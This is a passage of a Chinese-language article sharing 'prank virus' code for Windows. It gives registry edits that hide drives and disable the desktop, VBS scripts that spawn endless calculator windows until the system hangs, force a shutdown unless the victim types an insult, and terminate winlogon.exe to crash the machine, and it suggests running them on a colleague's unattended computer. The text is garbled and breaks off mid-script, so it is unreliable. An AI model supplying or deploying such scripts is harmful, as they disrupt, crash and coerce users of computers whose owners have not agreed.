整人病毒代碼(一)

1、. 整人“病毒代碼一發(fā)表于2013-10-23 10:33前段時間看到大家對這種整人的代碼興趣還挺濃厚的，我最近就收集了一些和大家分享。PS：由于精力問題沒有對代碼的可用性進展一一驗證，所以不保證全部可用，大家如果發(fā)現(xiàn)有不可用的或者需要改良的地方請?zhí)岢鰜恚韵麓a僅供娛樂，請勿用于非法用途。一、怎么點都沒反響的桌面如果同事的電腦開著，他離開電腦前一會，嘿嘿，時機來了。把他的電腦桌面按print鍵截屏截下來，當(dāng)然QQ截屏也可以，不過效果不太逼真！建議大家用print截屏，設(shè)置為桌面。然后把原來在桌面上的文件統(tǒng)統(tǒng)移到一個盤的文件夾里，這樣桌面看上去和平時一個樣。他回來后狂點鼠標(biāo)，卻怎么都沒有反響！

2、現(xiàn)在還在關(guān)機,開機,關(guān)機,開機,關(guān)機,開機中附帶：print鍵截屏方法：鍵盤右上方的“Print Screen Sys Rq鍵的作用是屏幕抓圖！用法一，按“Print Screen SysRq一下，對當(dāng)前屏幕進展抓圖，就是整個顯示屏的容。用法二，先按住“Alt鍵，再按“Print Screen SysRq鍵，則是對當(dāng)前窗口進展抓圖。如你翻開“我的電腦后，用此法就抓取“我的電腦窗口的容。用上訴兩種方法抓圖后，再翻開“開場、“附件里的“畫圖程序，點“編輯、“粘貼就把抓取的圖片貼出來了，可以保存為自己需要的格式。哈哈，簡單吧，這方法真挺搞的，有興趣的童鞋可以試試！二、讓電腦硬盤消失隱藏磁盤方法愚人節(jié)

3、電腦整人使無端端地電腦磁盤的*個分區(qū)消失了，鉆進地縫里面去了嗎，給外星人抓走了？非也！是*些人使壞將其隱藏起來了！步驟1.新建一個記事本2.將記事本的后綴改為.reg，就是將“新建文件.t*t改為“新建文件.reg3.將下面的代碼復(fù)制到記事本當(dāng)中：Windows Registry Editor Version 5.00HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesE*plorerNoDrives =he*:08,00,00,00解釋1NoDrives =he*:08,00,00,00 這個鍵值是隱藏D盤的圖中的D盤

4、已經(jīng)神秘消失了。2A=01000000 B=02000000 C=04000000 D=08000000 E=10000000 F=20000000G=40000000 H=80000000 I=00010000 J=00020000 K=00040000原理介紹：二進制值“NoDrives的缺省值均是00,00,00,00，表示不隱藏任何驅(qū)動器。鍵值由四個字節(jié)組成，每個字節(jié)的每一位(bit)對應(yīng)從A:到Z:的一個盤，當(dāng)相應(yīng)位為1時，“我的電腦中相應(yīng)的驅(qū)動器就被隱藏了。第一個字節(jié)代表從A到H的8個盤，即01為A，02為B，04為C依次類推，第二個字節(jié)代表I到P，第三個字節(jié)代表Q到*，第四個字節(jié)

5、代表Y和Z。比方要關(guān)閉C盤，將鍵值改為04,00,00,00;要關(guān)閉D盤，則改為 08,00,00,00，假設(shè)要關(guān)閉C盤和D盤，則改為0C,00,00,00(C是十六進制，轉(zhuǎn)成十進制就是12)。理解了原理后，下面以筆者的電腦為例說明如何操作：筆者的電腦有一個軟驅(qū)、一個硬盤(5個分區(qū))、一個光驅(qū)，盤符分布是這樣的：A:(3.5軟盤)、 C:、D:、E:、F:、G:、H:(光盤)，所以我的“NoDrives值為“02 ff ff ff，隱藏了B、I到Z盤。復(fù)原方法1.點擊開場-運行，如圖，在運行對話框中輸入“regedit，翻開注冊表編輯器。2.依次翻開HKEY_CURRENT_USERSoftw

6、areMicrosoftWindowsCurrentVersionPoliciesE*plorer，將右側(cè)窗口中NoDrives這個子鍵刪除。3.重新啟動電腦。三、空空的桌面電腦桌面是用戶最熟悉不過的了，電腦整人方法電腦啟動之后首先呈現(xiàn)的就是桌面了，如果在愚人節(jié)你把你朋友的桌面給Hack掉了話，你的朋友是不是會發(fā)瘋??？桌面是用戶操作電腦首先進入的界面，電腦桌面空空如也，一望無垠的時候，你是否很無奈？原來這一切都是它在作怪！如圖整人后桌面清清爽爽，什么都沒有！方法步驟1.新建一個記事本2.將記事本的后綴改為.reg，就是將“新建文件.t*t改為“桌面.reg3.將下面的代碼復(fù)制到記事本當(dāng)中：Wi

7、ndows Registry Editor Version 5.00HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesE*plorerNoDesktop=dword:00000001NoSetTaskbar=dword:00000001解釋：(1)NoDesktop=dword:00000001 這個鍵值是屏蔽桌面的；(2)NoSetTaskbar=dword:00000001這個鍵值是禁用“任務(wù)欄屬性功能。將信息導(dǎo)入到注冊表之后，桌面圖標(biāo)、桌面右鍵、桌面屬性的功能都被禁用了。復(fù)原方法：1.點擊開場-運行，如圖，在運行

8、對話框中輸入“regedit，翻開注冊表編輯器。2依次翻開HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesE*plorer，將右側(cè)窗口中“NoDesktop、“NoSetTaskbar這兩個子鍵刪除。四、讓天使替我說我愛你CreateObject(SAPI.SpVoice).Speaki love you送給你女朋友她會快樂地，保存為.vbs格式五、翻開無數(shù)個計算器set wsh=createobject(wscript.shell)do wsh.run calc loop 這段代碼是翻開無數(shù)個計算器，直到死機 ,也

9、是保存為.vbs格式六、你被耍了while(1) msgbo* 哈哈你被耍了！ loop 這段代碼就比擬壞了,一直彈出窗口顯示哈哈,你被刷了!要是你不會完畢它,只好重啟電腦了,也是保存為.vbs格式七、甩不掉的魔鬼WScript.Echo(嘿，你翻開我哦，我等你很久拉！&TSName) WScript.Echo(你是得意的小朋嗎“)WScript.Echo(哈,我想你拉，這你都不知道嗎？)WScript.Echo(怎么才來，說是不是不關(guān)心我)WScript.Echo(哼,我生氣拉，等你這么久，心都涼啦。) WScript.Echo(小強很生氣，后果很嚴(yán)重哦。)WScript.Echo(嘿嘿！你

10、也會很慘滴哦)WScript.Echo(是不是想去除我？)WScript.Echo(那你要點上50下哦，不過會給你驚喜滴)WScript.Echo(還剩49下，快點點哦)WScript.Echo(還剩48下，快點，小笨蛋！)WScript.Echo(還剩47下對，就這樣快點點！)WScript.Echo(還剩46下。你啊就是笨，要快哦，我先不打攪你工作。) WScript.Echo(還剩45下，記得要快哦！)WScript.Echo(還剩43下) WScript.Echo(還剩42下) WScript.Echo(還剩41下) WScript.Echo(還剩40下) WScript.Echo(還

11、剩39下) WScript.Echo(還剩38下) WScript.Echo(還剩37下) WScript.Echo(還剩36下) WScript.Echo(還剩35下) WScript.Echo(還剩34下)WScript.Echo(還剩33下) WScript.Echo(還剩32下) WScript.Echo(還剩30下) WScript.Echo(還剩29下) WScript.Echo(還剩28下) WScript.Echo(還剩27下) WScript.Echo(還剩26下) WScript.Echo(還剩25下) WScript.Echo(還剩24下) WScript.Echo(還剩

12、23下) WScript.Echo(還剩22下) WScript.Echo(還剩21下) WScript.Echo(還剩20下) WScript.Echo(還剩19下) WScript.Echo(還剩18下) WScript.Echo(還剩17下) WScript.Echo(還剩16下) WScript.Echo(還剩15下) WScript.Echo(還剩14下) WScript.Echo(還剩13下停停！慢點，我有話要說) WScript.Echo(還剩12下，你繼續(xù)點我就會消失滴)WScript.Echo(還剩11下，以后就看不到我拉。555555)WScript.Echo(還剩10下，

13、你現(xiàn)在可以選擇停頓！)WScript.Echo(還剩9下。你還點啊，不要我拉？)WScript.Echo(還剩8下，有點傷心拉，干嘛丟棄人家) WScript.Echo(還剩7下。瘋了，你有點負(fù)意！)WScript.Echo(還剩6下。對。你就點吧，我恨你！)WScript.Echo(還剩5下，不明白，刪除我你就好嗎？) WScript.Echo(還剩4下！真要刪除我？)WScript.Echo(還剩3下?？墒俏艺娴暮芫鞈倌恪? WScript.Echo(還剩2下。不要這么絕情嘛，人家是愛你的！) WScript.Echo(還剩1下。哼，既然你這么絕情。也別怪我無義！) WScript.Ech

14、o(我本因該消失的，不過我留戀你滴芳容，上帝又給了一次時機。) WScript.Echo(想結(jié)素我么“那你就再多點一次)WScript.Echo(想結(jié)素我么“那你就再多點一次)WScript.Echo(想結(jié)素我么“那你就再多點一次)WScript.Echo(想結(jié)素我么“那你就再多點一次)改成.vbs八、說我是豬on error resume ne*t dim WSHshellA set WSHshellA =wscript.createobject(wscript.shell) WSHshellA.run cmd.e*e /c shutdown -r-t 180 -c 說我是豬，不說我是豬就一

15、分鐘關(guān)機，不信，試下 ,0 ,true dim a do while(a 我是豬) a = inputbo* (說我是豬,就不關(guān)機，快撒，說我是豬,說不說,8000,7000) msgbo* chr(13) + chr(13) + chr(13) +a,0,MsgBo* loop msgbo* chr(13) + chr(13) + chr(13) + 早說就行了嘛 dim WSHshell set WSHshell =wscript.createobject(wscript.shell) WSHshell.run cmd.e*e /c shutdown-a,0 ,true msgbo* ch

16、r(13) + chr(13) + chr(13) + 哈哈哈哈，好乖這個運行后必須輸入我是豬(當(dāng)然你也可以改成別的,把代碼中所有的我是豬換成你想改的,比方說我愛*之類的,大家懂的 ),如果一分鐘沒輸入我是豬,就會關(guān)機.也改成.vbs九、被鬼附身的記事本dim sh,str,a,isetsh=createobject(wscript.shell)sh.run notepad 翻開記事本do while sh.appactivate(無標(biāo)題 - 記事本)=falsewscript.sleep 1000loopstr=wokao1!ni1youmeiyou1gaocuo1!這一行是演示中文輸入。定

17、義要打字的字符串。只能是英文或數(shù)字或符號。如果想輸入中文請把下2行的注釋去掉。否則就在前面加上注釋符號“(不帶引號)并在str中輸入按鍵的過程如：想輸入“氣死我了就寫 qisiwole1sh.sendkeys 解釋上一行：呼喚中文輸入法for i=0 to len(str)-1a=mid(str,i+1,1)sh.sendkeys a 發(fā)送虛擬按鍵wscript.sleep 500 打字速度。數(shù)值越小越快。ne*tsave=1 如想保存則寫1if save=1 thensh.sendkeys 解釋上一行：關(guān)閉中文輸入法。如果是中文，則必須去掉上一行的注釋。sh.sendkeys swscrip

18、t.sleep 300sh.sendkeys c:name.t*t 文件名(可寫路徑)，必須是英文。如果是中文模式，則必須將其關(guān)閉wscript.sleep 100sh.sendkeys Enterend if 這個會自動翻開筆記本,自己寫字,怎么樣“是不是有貞子爬到你電腦里的感覺“也是保存為.vbs格式十、藍屏代碼for each ps in getobject(winmgmts:.rootcimv2:win32_process).instances_ifUcase()=Ucase(winlogon.e*e) thenps.terminateend ifne*tfor each ps ingetobject(winmgmts:.rootcimv2:win32_process).instances_ ifUcase()=Ucase(winlogon.e*e) thenps.terminateend ifne*tSetws=CreateObject(WScript.Shell)setfs=createobject(scri